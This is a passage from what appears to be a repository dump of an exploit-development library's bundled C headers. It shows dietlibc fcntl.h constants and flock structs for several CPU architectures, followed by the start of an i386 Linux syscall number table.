O_NONBLOCK\t0x0080\n#define O_CREAT         0x0100\t/* not fcntl */\n#define O_TRUNC\t\t0x0200\t/* not fcntl */\n#define O_EXCL\t\t0x0400\t/* not fcntl */\n#define O_NOCTTY\t0x0800\t/* not fcntl */\n#define FASYNC\t\t0x1000\t/* fcntl, for BSD compatibility */\n#ifdef __mips64__\n#define O_LARGEFILE\t0\n#else\n#define O_LARGEFILE\t0x2000\t/* allow large file opens - currently ignored */\n#endif\n#define O_SYNC\t\t(0x4000|O_DSYNC)\n#define O_DIRECT\t0x8000\t/* direct disk access hint - currently ignored */\n#define O_DIRECTORY\t0x10000\t/* must be a directory */\n#define O_NOFOLLOW\t0x20000\t/* don't follow links */\n#define O_NOATIME\t0x40000\n#define O_CLOEXEC\t0x80000\n#define O_PATH\t\t010000000\n#define __O_TMPFILE\t020000000\n\n#define O_NDELAY\tO_NONBLOCK\n\n#define F_DUPFD\t\t0\t/* dup */\n#define F_GETFD\t\t1\t/* get close_on_exec */\n#define F_SETFD\t\t2\t/* set/clear close_on_exec */\n#define F_GETFL\t\t3\t/* get file->f_flags */\n#define F_SETFL\t\t4\t/* set file->f_flags */\n#define F_GETLK\t\t14\n#define F_SETLK\t\t6\n#define F_SETLKW\t7\n\n#define F_SETOWN\t24\t/*  for sockets. */\n#define F_GETOWN\t23\t/*  for sockets. */\n#define F_SETSIG\t10\t/*  for sockets. */\n#define F_GETSIG\t11\t/*  for sockets. */\n\n#ifndef __mips64__\n#define F_GETLK64\t33\t/*  using 'struct flock64' */\n#define F_SETLK64\t34\n#define F_SETLKW64\t35\n#endif\n\n/* for F_[GET|SET]FL */\n#define FD_CLOEXEC\t1\t/* actually anything with low bit set goes */\n\n/* for posix fcntl() and lockf() */\n#define F_RDLCK\t\t0\n#define F_WRLCK\t\t1\n#define F_UNLCK\t\t2\n\n/* for old implementation of bsd flock () */\n#define F_EXLCK\t\t4\t/* or 3 */\n#define F_SHLCK\t\t8\t/* or 4 */\n\n/* for leases */\n#define F_INPROGRESS\t16\n\n/* operations for bsd flock(), also used by the kernel implementation */\n#define LOCK_SH\t\t1\t/* shared lock */\n#define LOCK_EX\t\t2\t/* exclusive lock */\n#define LOCK_NB\t\t4\t/* or'd with one of the above to prevent\t\tXXXXXXXXXXXXXXXXXX\n\t\t\t\t   blocking */\n#define LOCK_UN\t\t8\t/* remove lock */\n\n#define LOCK_MAND\t32\t/* This is a mandatory flock */\n#define LOCK_READ\t64\t/* ... Which allows concurrent read operations */\n#define LOCK_WRITE\t128\t/* ... Which allows concurrent write operations */\n#define LOCK_RW\t\t192\t/* ... Which allows concurrent read & write ops */\n\n#ifndef __mips64__\nstruct flock {\n  int16_t l_type;\n  int16_t l_whence;\n  off_t l_start;\n  off_t l_len;\n  long  l_sysid;\t\t\t/* XXXXXXXXXXXXXXXXXXXXXXXXX */\n  pid_t l_pid;\n  long  pad[4];\t\t\t/* ZZZZZZZZZZZZZZZZZZZZZZZZZZ */\n};\nstruct flock64 {\n  int16_t l_type;\n  int16_t l_whence;\n  loff_t l_start;\n  loff_t l_len;\n  pid_t l_pid;\n};\n#else\nstruct flock {\n  int16_t l_type;\n  int16_t l_whence;\n  off_t l_start;\n  off_t l_len;\n  pid_t l_pid;\n};\n#define flock64 flock\n#endif\n\n#elif defined(__sparc__)\n\n#define O_RDONLY\t0x0000\n#define O_WRONLY\t0x0001\n#define O_RDWR\t\t0x0002\n#define O_ACCMODE\t0x0003\n#define O_APPEND\t0x0008\n#define FASYNC\t\t0x0040\t/* fcntl, for BSD compatibility */\n#define O_CREAT\t\t0x0200\t/* not fcntl */\n#define O_TRUNC\t\t0x0400\t/* not fcntl */\n#define O_EXCL\t\t0x0800\t/* not fcntl */\n#define O_DSYNC\t\t0x2000\n#define O_NONBLOCK\t0x4000\n#define O_NDELAY\t(0x0004 | O_NONBLOCK)\n#define O_NOCTTY\t0x8000\t/* not fcntl */\n#define O_DIRECTORY\t0x10000\t/* must be a directory */\n#define O_NOFOLLOW\t0x20000\t/* don't follow links */\n#define O_LARGEFILE\t0x40000\n#define O_DIRECT        0x100000 /* direct disk access hint */\n#define O_NOATIME\t0x200000\n#define O_CLOEXEC\t0x400000\n#define O_SYNC\t\t(0x800000|O_DSYNC)\n#define O_PATH\t\t0x1000000\n#define __O_TMPFILE\t0x2000000\n\n#define F_DUPFD\t\t0\t/* dup */\n#define F_GETFD\t\t1\t/* get close_on_exec */\n#define F_SETFD\t\t2\t/* set/clear close_on_exec */\n#define F_GETFL\t\t3\t/* get file->f_flags */\n#define F_SETFL\t\t4\t/* set file->f_flags */\n#define F_GETOWN\t5\t/*  for sockets. */\n#define F_SETOWN\t6\t/*  for sockets. */\n#define F_GETLK\t\t7\n#define F_SETLK\t\t8\n#define F_SETLKW\t9\n#define F_SETSIG\t10\t/*  for sockets. */\n#define F_GETSIG\t11\t/*  for sockets. */\n\n#define F_GETLK64\t12\t/*  using 'struct flock64' */\n#define F_SETLK64\t13\n#define F_SETLKW64\t14\n\n/* for F_[GET|SET]FL */\n#define FD_CLOEXEC\t1\t/* actually anything with low bit set goes */\n\n/* for posix fcntl() and lockf() */\n#define F_RDLCK\t\t1\n#define F_WRLCK\t\t2\n#define F_UNLCK\t\t3\n\n/* for old implementation of bsd flock () */\n#define F_EXLCK\t\t4\t/* or 3 */\n#define F_SHLCK\t\t8\t/* or 4 */\n\n/* for leases */\n#define F_INPROGRESS\t16\n\n/* operations for bsd flock(), also used by the kernel implementation */\n#define LOCK_SH\t\t1\t/* shared lock */\n#define LOCK_EX\t\t2\t/* exclusive lock */\n#define LOCK_NB\t\t4\t/* or'd with one of the above to prevent\n\t\t\t\t   blocking */\n#define LOCK_UN\t\t8\t/* remove lock */\n\n#define LOCK_MAND\t32\t/* This is a mandatory flock */\n#define LOCK_READ\t64\t/* ... Which allows concurrent read operations */\n#define LOCK_WRITE\t128\t/* ... Which allows concurrent write operations */\n#define LOCK_RW\t\t192\t/* ... Which allows concurrent read & write ops */\n\nstruct flock {\n  int16_t l_type;\n  int16_t l_whence;\n  off_t l_start;\n  off_t l_len;\n  pid_t l_pid;\n  int16_t __unused;\n};\n\n#ifdef __arch64__\n#define flock64 flock\n#else\nstruct flock64 {\n  int16_t l_type;\n  int16_t l_whence;\n  loff_t l_start;\n  loff_t l_len;\n  pid_t l_pid;\n  int16_t __unused;\n};\n#endif\n\n#elif defined(__powerpc__) || defined(__powerpc64__)\n\n#define O_ACCMODE\t   0003\n#define O_RDONLY\t     00\n#define O_WRONLY\t     01\n#define O_RDWR\t\t     02\n#define O_CREAT\t\t   0100\t/* not fcntl */\n#define O_EXCL\t\t   0200\t/* not fcntl */\n#define O_NOCTTY\t   0400\t/* not fcntl */\n#define O_TRUNC\t\t  01000\t/* not fcntl */\n#define O_APPEND\t  02000\n#define O_NONBLOCK\t  04000\n#define O_NDELAY\tO_NONBLOCK\n#define O_DSYNC\t\t 010000\n#define FASYNC\t\t 020000\t/* fcntl, for BSD compatibility */\n#define O_DIRECTORY      040000\t/* must be a directory */\n#define O_NOFOLLOW      0100000\t/* don't follow links */\n#define O_LARGEFILE     0200000\n#define O_DIRECT\t0400000\t/* direct disk access hint - currently ignored */\n#define O_NOATIME\t01000000\n#define O_CLOEXEC\t02000000\n#define O_SYNC\t\t(O_DSYNC|04000000)\n#define O_PATH\t\t010000000\n#define __O_TMPFILE\t020000000\n\n#define F_DUPFD\t\t0\t/* dup */\n#define F_GETFD\t\t1\t/* get close_on_exec */\n#define F_SETFD\t\t2\t/* set/clear close_on_exec */\n#define F_GETFL\t\t3\t/* get file->f_flags */\n#define F_SETFL\t\t4\t/* set file->f_flags */\n#define F_GETLK\t\t5\n#define F_SETLK\t\t6\n#define F_SETLKW\t7\n\n#define F_SETOWN\t8\t/*  for sockets. */\n#define F_GETOWN\t9\t/*  for sockets. */\n#define F_SETSIG\t10\t/*  for sockets. */\n#define F_GETSIG\t11\t/*  for sockets. */\n\n#define F_GETLK64\t12\t/*  using 'struct flock64' */\n#define F_SETLK64\t13\n#define F_SETLKW64\t14\n\n/* for F_[GET|SET]FL */\n#define FD_CLOEXEC\t1\t/* actually anything with low bit set goes */\n\n/* for posix fcntl() and lockf() */\n#define F_RDLCK\t\t0\n#define F_WRLCK\t\t1\n#define F_UNLCK\t\t2\n\n/* for old implementation of bsd flock () */\n#define F_EXLCK\t\t4\t/* or 3 */\n#define F_SHLCK\t\t8\t/* or 4 */\n\n/* for leases */\n#define F_INPROGRESS\t16\n\n/* operations for bsd flock(), also used by the kernel implementation */\n#define LOCK_SH\t\t1\t/* shared lock */\n#define LOCK_EX\t\t2\t/* exclusive lock */\n#define LOCK_NB\t\t4\t/* or'd with one of the above to prevent\n\t\t\t\t   blocking */\n#define LOCK_UN\t\t8\t/* remove lock */\n\n#define LOCK_MAND\t32\t/* This is a mandatory flock */\n#define LOCK_READ\t64\t/* ... Which allows concurrent read operations */\n#define LOCK_WRITE\t128\t/* ... Which allows concurrent write operations */\n#define LOCK_RW\t\t192\t/* ... Which allows concurrent read & write ops */\n\nstruct flock {\n  int16_t l_type;\n  int16_t l_whence;\n  off_t l_start;\n  off_t l_len;\n  pid_t l_pid;\n};\n\nstruct flock64 {\n  int16_t l_type;\n  int16_t l_whence;\n  loff_t l_start;\n  loff_t l_len;\n  pid_t  l_pid;\n};\n\n#elif defined (__arm__) || defined(__aarch64__)\n\n#define O_ACCMODE\t   0003\n#define O_RDONLY\t     00\n#define O_WRONLY\t     01\n#define O_RDWR\t\t     02\n#define O_CREAT\t\t   0100\t/* not fcntl */\n#define O_EXCL\t\t   0200\t/* not fcntl */\n#define O_NOCTTY\t   0400\t/* not fcntl */\n#define O_TRUNC\t\t  01000\t/* not fcntl */\n#define O_APPEND\t  02000\n#define O_NONBLOCK\t  04000\n#define O_NDELAY\tO_NONBLOCK\n#define O_DSYNC\t\t 010000\n#define FASYNC\t\t 020000\t/* fcntl, for BSD compatibility */\n#define O_DIRECTORY\t 040000\t/* must be a directory */\n#define O_NOFOLLOW\t0100000\t/* don't follow links */\n#define O_DIRECT\t0200000\t/* direct disk access hint - currently ignored */\n#ifdef __aarch64__\n#define O_LARGEFILE\t0\n#else\n#define O_LARGEFILE\t0400000\n#endif\n#define O_NOATIME\t01000000\n#define O_CLOEXEC\t02000000\n#define O_SYNC\t\t(O_DSYNC|04000000)\n#define O_PATH\t\t010000000\n#define __O_TMPFILE\t020000000\n\n#define F_DUPFD\t\t0\t/* dup */\n#define F_GETFD\t\t1\t/* get close_on_exec */\n#define F_SETFD\t\t2\t/* set/clear close_on_exec */\n#define F_GETFL\t\t3\t/* get file->f_flags */\n#define F_SETFL\t\t4\t/* set file->f_flags */\n#define F_GETLK\t\t5\n#define F_SETLK\t\t6\n#define F_SETLKW\t7\n\n#define F_SETOWN\t8\t/*  for sockets. */\n#define F_GETOWN\t9\t/*  for sockets. */\n#define F_SETSIG\t10\t/*  for sockets. */\n#define F_GETSIG\t11\t/*  for sockets. */\n\n#ifdef __arch64__\n#define F_GETLK64\t5\n#define F_SETLK64\t6\n#define F_SETLKW64\t7\n#else\n#define F_GETLK64\t12\t/*  using 'struct flock64' */\n#define F_SETLK64\t13\n#define F_SETLKW64\t14\n#endif\n\n/* for F_[GET|SET]FL */\n#define FD_CLOEXEC\t1\t/* actually anything with low bit set goes */\n\n/* for posix fcntl() and lockf() */\n#define F_RDLCK\t\t0\n#define F_WRLCK\t\t1\n#define F_UNLCK\t\t2\n\n/* for old implementation of bsd flock () */\n#define F_EXLCK\t\t4\t/* or 3 */\n#define F_SHLCK\t\t8\t/* or 4 */\n\n/* for leases */\n#define F_INPROGRESS\t16\n\n/* operations for bsd flock(), also used by the kernel implementation */\n#define LOCK_SH\t\t1\t/* shared lock */\n#define LOCK_EX\t\t2\t/* exclusive lock */\n#define LOCK_NB\t\t4\t/* or'd with one of the above to prevent\n\t\t\t\t   blocking */\n#define LOCK_UN\t\t8\t/* remove lock */\n\n#define LOCK_MAND\t32\t/* This is a mandatory flock */\n#define LOCK_READ\t64\t/* ... Which allows concurrent read operations */\n#define LOCK_WRITE\t128\t/* ... Which allows concurrent write operations */\n#define LOCK_RW\t\t192\t/* ... Which allows concurrent read & write ops */\n\nstruct flock {\n  int16_t l_type;\n  int16_t l_whence;\n  off_t l_start;\n  off_t l_len;\n  pid_t l_pid;\n};\n\nstruct flock64 {\n  int16_t l_type;\n  int16_t l_whence;\n  loff_t l_start;\n  loff_t l_len;\n  pid_t  l_pid;\n};\n\n#elif defined(__hppa__)\n\n/* Copied from bits/fcntl.h */\n\n#define O_RDONLY    00000000\n#define O_WRONLY    00000001\n#define O_RDWR      00000002\n#define O_ACCMODE   00000003\n#define O_APPEND    00000010\n#define O_BLKSEEK   00000100 /* HPUX only */\n#define O_CREAT     00000400 /* not fcntl */\n#define O_TRUNC     00001000 /* not fcntl */\n#define O_EXCL      00002000 /* not fcntl */\n#define O_LARGEFILE 00004000\n#define O_ASYNC     00020000\n#define __O_SYNC      00100000\n#define O_NONBLOCK  00200004 /* HPUX has separate NDELAY & NONBLOCK */\n#define O_NDELAY    O_NONBLOCK\n#define O_NOCTTY    00400000 /* not fcntl */\n#define O_DSYNC     01000000 /* HPUX only */\n#define O_RSYNC     02000000 /* HPUX only */\n#define O_NOATIME   04000000\n#define O_CLOEXEC   010000000\n#define O_DIRECTORY  00010000\n\n#define O_DIRECT    00040000 /* direct disk access hint - currently ignored */\n#define O_NOFOLLOW  00000200 /* don't follow links */\n#define O_INVISIBLE 04000000 /* invisible I/O, for DMAPI/XDSM */\n\n#define O_PATH\t\t020000000\n#define __O_TMPFILE\t040000000\n#define O_SYNC\t\t(__O_SYNC|O_DSYNC)\n\n#define F_DUPFD     0   /* Duplicate file descriptor.  */\n#define F_GETFD     1   /* Get file descriptor flags.  */\n#define F_SETFD     2   /* Set file descriptor flags.  */\n#define F_GETFL     3   /* Get file status flags.  */\n#define F_SETFL     4   /* Set file status flags.  */\n#define F_GETLK     5   /* Get record locking info.  */\n#define F_SETLK     6   /* Set record locking info (non-blocking).  */\n#define F_SETLKW    7   /* Set record locking info (blocking).  */\n\n#define F_GETLK64   8   /* Get record locking info.  */\n#define F_SETLK64   9   /* Set record locking info (non-blocking).  */\n#define F_SETLKW64  10  /* Set record locking info (blocking).  */\n\n#define F_GETOWN    11 /*  for sockets. */\n#define F_SETOWN    12 /*  for sockets. */\n#define F_SETSIG    13 /*  for sockets. */\n#define F_GETSIG    14 /*  for sockets. */\n\n#define FD_CLOEXEC  1   /* actually anything with low bit set goes */\n\n#define F_RDLCK     1   /* Read lock.  */\n#define F_WRLCK     2   /* Write lock.  */\n#define F_UNLCK     3   /* Remove lock.  */\n\n#define F_EXLCK     4   /* or 3 */\n#define F_SHLCK     8   /* or 4 */\n\n/* for leases */\n#define F_INPROGRESS   16\n\n/* operations for bsd flock(), also used by the kernel implementation */\n#define LOCK_SH                1       /* shared lock */\n#define LOCK_EX                2       /* exclusive lock */\n#define LOCK_NB                4       /* or'd with one of the above to prevent blocking */\n#define LOCK_UN                8       /* remove lock */\n\n#define LOCK_MAND      32      /* This is a mandatory flock */\n#define LOCK_READ      64      /* ... Which allows concurrent read operations */\n#define LOCK_WRITE     128     /* ... Which allows concurrent write operations */\n#define LOCK_RW                192     /* ... Which allows concurrent read & write ops */\n\n\nstruct flock\n{\n    int16_t l_type;   /* Type of lock: F_RDLCK, F_WRLCK, or F_UNLCK.  */\n    int16_t l_whence; /* Where `l_start' is relative to (like `lseek').  */\n    off_t l_start;    /* Offset where the lock begins.  */\n    off_t l_len;  /* Size of the locked area; zero means until EOF.  */\n    pid_t l_pid;  /* Process holding the lock.  */\n};\n\nstruct flock64\n{\n    int16_t l_type;   /* Type of lock: F_RDLCK, F_WRLCK, or F_UNLCK.  */\n    int16_t l_whence; /* Where `l_start' is relative to (like `lseek').  */\n    off64_t l_start;  /* Offset where the lock begins.  */\n    off64_t l_len;    /* Size of the locked area; zero means until EOF.  */\n    pid_t l_pid;  /* Process holding the lock.  */\n};\n\n#endif\n\n#define O_TMPFILE (__O_TMPFILE | O_DIRECTORY)\n\n#ifdef _GNU_SOURCE\n\n#define F_SETLEASE\t(F_LINUX_SPECIFIC_BASE + 0)\n#define F_GETLEASE\t(F_LINUX_SPECIFIC_BASE + 1)\n\n/*\n * Cancel a blocking posix lock; internal use only until we expose an\n * asynchronous lock api to userspace:\n */\n#define F_CANCELLK\t(F_LINUX_SPECIFIC_BASE + 5)\n\n/* Create a file descriptor with FD_CLOEXEC set. */\n#define F_DUPFD_CLOEXEC\t(F_LINUX_SPECIFIC_BASE + 6)\n\n/*\n * Request nofications on a directory.\n * See below for events that may be notified.\n */\n#define F_NOTIFY\t(F_LINUX_SPECIFIC_BASE+2)\n\n/*\n * Set and get of pipe page size array\n */\n#define F_SETPIPE_SZ\t(F_LINUX_SPECIFIC_BASE + 7)\n#define F_GETPIPE_SZ\t(F_LINUX_SPECIFIC_BASE + 8)\n\n/*\n * Set/Get seals\n */\n#define F_ADD_SEALS\t(F_LINUX_SPECIFIC_BASE + 9)\n#define F_GET_SEALS\t(F_LINUX_SPECIFIC_BASE + 10)\n\n/*\n * Types of seals\n */\n#define F_SEAL_SEAL\t0x0001\t/* prevent further seals from being set */\n#define F_SEAL_SHRINK\t0x0002\t/* prevent file from shrinking */\n#define F_SEAL_GROW\t0x0004\t/* prevent file from growing */\n#define F_SEAL_WRITE\t0x0008\t/* prevent writes */\n/* (1U << 31) is reserved for signed error codes */\n#endif\n\nextern int fcntl (int __fd, int __cmd, ...) __THROW;\n#ifndef __NO_STAT64\nextern int fcntl64 (int __fd, int __cmd, ...) __THROW;\nextern int fstatat64(int dirfd, const char *pathname, struct stat64 *buf, int flags) __THROW;\n#if defined _FILE_OFFSET_BITS && _FILE_OFFSET_BITS == 64\n#define fcntl fcntl64\n#define fstatat fstatat64\n#endif\n#endif\n\n#if !defined(O_ASYNC) && defined(FASYNC)\n#define O_ASYNC FASYNC\n#endif\n\n#if defined(_LINUX_SOURCE) || defined(_GNU_SOURCE)\nssize_t readahead(int fd, off64_t *offset, size_t count) __THROW;\n#endif\n\n#ifdef _GNU_SOURCE\nenum {\n  SPLICE_F_MOVE=1,\t/* move pages instead of copying */\n#define SPLICE_F_MOVE SPLICE_F_MOVE\n  SPLICE_F_NONBLOCK=2,\t/* don't block on splicing (may still block on fd we splice */\n#define SPLICE_F_NONBLOCK SPLICE_F_NONBLOCK\n  SPLICE_F_MORE=4,\t/* expect more data */\n#define SPLICE_F_MORE SPLICE_F_MORE\n  SPLICE_F_GIFT=8\t/* pages passed in are a gift */\n#define SPLICE_F_GIFT SPLICE_F_GIFT\n};\n\nssize_t tee(int fd_in, int fd_out, size_t len, unsigned int flags) __THROW;\n\n#include <sys/uio.h>\n\nssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len, unsigned int flags) __THROW;\nssize_t vmsplice(int fd, const struct iovec *iov, unsigned long nr_segs, unsigned int flags) __THROW;\n\nint sync_file_range(int fd, off64_t offset, off64_t nbytes, unsigned int flags) __THROW;\n\n#define FALLOC_FL_KEEP_SIZE 1\n\nint fallocate(int fd, int mode, loff_t offset, loff_t len) __THROW;\n\n/*\n * Types of directory notifications that may be requested.\n */\n#define DN_ACCESS\t0x00000001\t/* File accessed */\n#define DN_MODIFY\t0x00000002\t/* File modified */\n#define DN_CREATE\t0x00000004\t/* File created */\n#define DN_DELETE\t0x00000008\t/* File removed */\n#define DN_RENAME\t0x00000010\t/* File renamed */\n#define DN_ATTRIB\t0x00000020\t/* File changed attibutes */\n#define DN_MULTISHOT\t0x80000000\t/* Don't remove notifier */\n\n#endif\n\n#define F_SETOWN_EX\t15\n#define F_GETOWN_EX\t16\n#define F_GETOWNER_UIDS\t17\n\n#define F_OFD_GETLK\t36\n#define F_OFD_SETLK\t37\n#define F_OFD_SETLKW\t38\n\n#define F_OWNER_TID\t0\n#define F_OWNER_PID\t1\n#define F_OWNER_PGRP\t2\n\nstruct f_owner_ex {\n\tint\ttype;\n\tint\tpid;\n};\n\n#define AT_FDCWD\t\t-100    /* Special value used to indicate openat should use the current working directory. */\n#define AT_SYMLINK_NOFOLLOW\t0x100   /* Do not follow symbolic links.  */\n#define AT_REMOVEDIR\t\t0x200   /* Remove directory instead of unlinking file.  */\n#define AT_SYMLINK_FOLLOW\t0x400   /* Follow symbolic links.  */\n#define AT_NO_AUTOMOUNT\t\t0x800\t/* Suppress terminal automount traversal */\n#define AT_EMPTY_PATH\t\t0x1000\t/* Allow empty relative pathname */\n\n/* for faccessat */\n#define AT_EACCESS\t\t0x200\t/* using euid, not uid for accessat */\n\nint openat(int dirfd, const char *pathname, int flags, ...) __THROW;\nint futimesat(int dirfd, const char *pathname, const struct timeval times[2]) __THROW;\nint unlinkat(int dirfd, const char *pathname, int flags) __THROW;\n\n#if (defined(_XOPEN_SOURCE) && (_XOPEN_SOURCE - 0) >= 600) || defined(_POSIX_SOURCE)\n#include \"linux/fadvise.h\"\nint posix_fallocate(int fd, off64_t offset, off64_t len) __THROW;\nint posix_fadvise(int fd, off64_t offset, off64_t len, int advice) __THROW;\n#endif\n\n__END_DECLS\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/i386/syscalls.h",
    "content": "\n#define __NR_exit\t\t  1\n#define __NR_fork\t\t  2\n#define __NR_read\t\t  3\n#define __NR_write\t\t  4\n#define __NR_open\t\t  5\n#define __NR_close\t\t  6\n#define __NR_waitpid\t\t  7\n#define __NR_creat\t\t  8\n#define __NR_link\t\t  9\n#define __NR_unlink\t\t 10\n#define __NR_execve\t\t 11\n#define __NR_chdir\t\t 12\n#define __NR_time\t\t 13\n#define __NR_mknod\t\t 14\n#define __NR_chmod\t\t 15\n#define __NR_lchown\t\t 16\n#define __NR_break\t\t 17\n#define __NR_oldstat\t\t 18\n#define __NR_lseek\t\t 19\n#define __NR_getpid\t\t 20\n#define __NR_mount\t\t 21\n#define __NR_umount\t\t 22\n#define __NR_setuid\t\t 23\n#define __NR_getuid\t\t 24\n#define __NR_stime\t\t 25\n#define __NR_ptrace\t\t 26\n#define __NR_alarm\t\t 27\n#define __NR_oldfstat\t\t 28\n#define __NR_pause\t\t 29\n#define __NR_utime\t\t 30\n#define __NR_stty\t\t 31\n#define __NR_gtty\t\t 32\n#define __NR_access\t\t 33\n#define __NR_nice\t\t 34\n#define __NR_ftime\t\t 35\n#define __NR_sync\t\t 36\n#define __NR_kill\t\t 37\n#define __NR_rename\t\t 38\n#define __NR_mkdir\t\t 39\n#define __NR_rmdir\t\t 40\n#define __NR_dup\t\t 41\n#define __NR_pipe\t\t 42\n#define __NR_times\t\t 43\n#define __NR_prof\t\t 44\n#define __NR_brk\t\t 45\n#define __NR_setgid\t\t 46\n#define __NR_getgid\t\t 47\n#define __NR_signal\t\t 48\n#define __NR_geteuid\t\t 49\n#define __NR_getegid\t\t 50\n#define __NR_acct\t\t 51\n#define __NR_umount2\t\t 52\n#define __NR_lock\t\t 53\n#define __NR_ioctl\t\t 54\n#define __NR_fcntl\t\t 55\n#define __NR_mpx\t\t 56\n#define __NR_setpgid\t\t 57\n#define __NR_ulimit\t\t 58\n#define __NR_oldolduname\t 59\n#define __NR_umask\t\t 60\n#define __NR_chroot\t\t 61\n#define __NR_ustat\t\t 62\n#define __NR_dup2\t\t 63\n#define __NR_getppid\t\t 64\n#define __NR_getpgrp\t\t 65\n#define __NR_setsid\t\t 66\n#define __NR_sigaction\t\t 67\n#define __NR_sgetmask\t\t 68\n#define __NR_ssetmask\t\t 69\n#define __NR_setreuid\t\t 70\n#define __NR_setregid\t\t 71\n#define __NR_sigsuspend\t\t 72\n#define __NR_sigpending\t\t 73\n#define __NR_sethostname\t 74\n#define __NR_setrlimit\t\t 75\n#define __NR_getrlimit\t\t 76\t/* Back compatible 2Gig limited rlimit */\n#define __NR_getrusage\t\t 77\n#define __NR_gettimeofday\t 78\n#define __NR_settimeofday\t 79\n#define __NR_getgroups\t\t 80\n#define __NR_setgroups\t\t 81\n#define __NR_select\t\t 82\n#define __NR_symlink\t\t 83\n#define __NR_oldlstat\t\t 84\n#define __NR_readlink\t\t 85\n#define __NR_uselib\t\t 86\n#define __NR_swapon\t\t 87\n#define __NR_reboot\t\t 88\n#define __NR_readdir\t\t 89\n#define __NR_mmap\t\t 90\n#define __NR_munmap\t\t 91\n#define __NR_truncate\t\t 92\n#define __NR_ftruncate\t\t 93\n#define __NR_fchmod\t\t 94\n#define __NR_fchown\t\t 95\n#define __NR_getpriority\t 96\n#define __NR_setpriority\t 97\n#define __NR_profil\t\t 98\n#define __NR_statfs\t\t 99\n#define __NR_fstatfs\t\t100\n#define __NR_ioperm\t\t101\n#define __NR_socketcall\t\t102\n#define __NR_syslog\t\t103\n#define __NR_setitimer\t\t104\n#define __NR_getitimer\t\t105\n#define __NR_stat\t\t106\n#define __NR_lstat\t\t107\n#define __NR_fstat\t\t108\n#define __NR_olduname\t\t109\n#define __NR_iopl\t\t110\n#define __NR_vhangup\t\t111\n#define __NR_idle\t\t112\n#define __NR_vm86old\t\t113\n#define __NR_wait4\t\t114\n#define __NR_swapoff\t\t115\n#define __NR_sysinfo\t\t116\n#define __NR_ipc\t\t117\n#define __NR_fsync\t\t118\n#define __NR_sigreturn\t\t119\n#define __NR_clone\t\t120\n#define __NR_setdomainname\t121\n#define __NR_uname\t\t122\n#define __NR_modify_ldt\t\t123\n#define __NR_adjtimex\t\t124\n#define __NR_mprotect\t\t125\n#define __NR_sigprocmask\t126\n#define __NR_create_module\t127\n#define __NR_init_module\t128\n#define __NR_delete_module\t129\n#define __NR_get_kernel_syms\t130\n#define __NR_quotactl\t\t131\n#define __NR_getpgid\t\t132\n#define __NR_fchdir\t\t133\n#define __NR_bdflush\t\t134\n#define __NR_sysfs\t\t135\n#define __NR_personality\t136\n#define __NR_afs_syscall\t137 /* Syscall for Andrew File System */\n#define __NR_setfsuid\t\t138\n#define __NR_setfsgid\t\t139\n#define __NR__llseek\t\t140\n#define __NR_getdents\t\t141\n#define __NR__newselect\t\t142\n#define __NR_flock\t\t143\n#define __NR_msync\t\t144\n#define __NR_readv\t\t145\n#define __NR_writev\t\t146\n#define __NR_getsid\t\t147\n#define __NR_fdatasync\t\t148\n#define __NR__sysctl\t\t149\n#define __NR_mlock\t\t150\n#define __NR_munlock\t\t151\n#define __NR_mlockall\t\t152\n#define __NR_munlockall\t\t153\n#define __NR_sched_setparam\t\t154\n#define __NR_sched_getparam\t\t155\n#define __NR_sched_setscheduler\t\t156\n#define __NR_sched_getscheduler\t\t157\n#define __NR_sched_yield\t\t158\n#define __NR_sched_get_priority_max\t159\n#define __NR_sched_get_priority_min\t160\n#define __NR_sched_rr_get_interval\t161\n#define __NR_nanosleep\t\t162\n#define __NR_mremap\t\t163\n#define __NR_setresuid\t\t164\n#define __NR_getresuid\t\t165\n#define __NR_vm86\t\t166\n#define __NR_query_module\t167\n#define __NR_poll\t\t168\n#define __NR_nfsservctl\t\t169\n#define __NR_setresgid\t\t170\n#define __NR_getresgid\t\t171\n#define __NR_prctl              172\n#define __NR_rt_sigreturn\t173\n#define __NR_rt_sigaction\t174\n#define __NR_rt_sigprocmask\t175\n#define __NR_rt_sigpending\t176\n#define __NR_rt_sigtimedwait\t177\n#define __NR_rt_sigqueueinfo\t178\n#define __NR_rt_sigsuspend\t179\n#define __NR_pread\t\t180\n#define __NR_pwrite\t\t181\n#define __NR_chown\t\t182\n#define __NR_getcwd\t\t183\n#define __NR_capget\t\t184\n#define __NR_capset\t\t185\n#define __NR_sigaltstack\t186\n#define __NR_sendfile\t\t187\n#define __NR_getpmsg\t\t188\t/* some people actually want streams */\n#define __NR_putpmsg\t\t189\t/* some people actually want streams */\n#define __NR_vfork\t\t190\n#define __NR_ugetrlimit\t\t191\t/* SuS compliant getrlimit */\n#define __NR_mmap2\t\t192\n#define __NR_truncate64\t\t193\n#define __NR_ftruncate64\t194\n#define __NR_stat64\t\t195\n#define __NR_lstat64\t\t196\n#define __NR_fstat64\t\t197\n#define __NR_lchown32\t\t198\n#define __NR_getuid32\t\t199\n#define __NR_getgid32\t\t200\n#define __NR_geteuid32\t\t201\n#define __NR_getegid32\t\t202\n#define __NR_setreuid32\t\t203\n#define __NR_setregid32\t\t204\n#define __NR_getgroups32\t205\n#define __NR_setgroups32\t206\n#define __NR_fchown32\t\t207\n#define __NR_setresuid32\t208\n#define __NR_getresuid32\t209\n#define __NR_setresgid32\t210\n#define __NR_getresgid32\t211\n#define __NR_chown32\t\t212\n#define __NR_setuid32\t\t213\n#define __NR_setgid32\t\t214\n#define __NR_setfsuid32\t\t215\n#define __NR_setfsgid32\t\t216\n#define __NR_pivot_root\t\t217\n#define __NR_mincore\t\t218\n#define __NR_madvise\t\t219\n#define __NR_madvise1\t\t219\t/* delete when C lib stub is removed */\n#define __NR_getdents64\t\t220\n#define __NR_fcntl64\t\t221\n/* 223 is unused */\n#define __NR_gettid\t\t224\n#define __NR_readahead\t\t225\n#define __NR_setxattr\t\t226\n#define __NR_lsetxattr\t\t227\n#define __NR_fsetxattr\t\t228\n#define __NR_getxattr\t\t229\n#define __NR_lgetxattr\t\t230\n#define __NR_fgetxattr\t\t231\n#define __NR_listxattr\t\t232\n#define __NR_llistxattr\t\t233\n#define __NR_flistxattr\t\t234\n#define __NR_removexattr\t235\n#define __NR_lremovexattr\t236\n#define __NR_fremovexattr\t237\n#define __NR_tkill\t\t238\n#define __NR_sendfile64\t\t239\n#define __NR_futex\t\t240\n#define __NR_sched_setaffinity\t241\n#define __NR_sched_getaffinity\t242\n#define __NR_set_thread_area\t243\n#define __NR_get_thread_area\t244\n#define __NR_io_setup\t\t245\n#define 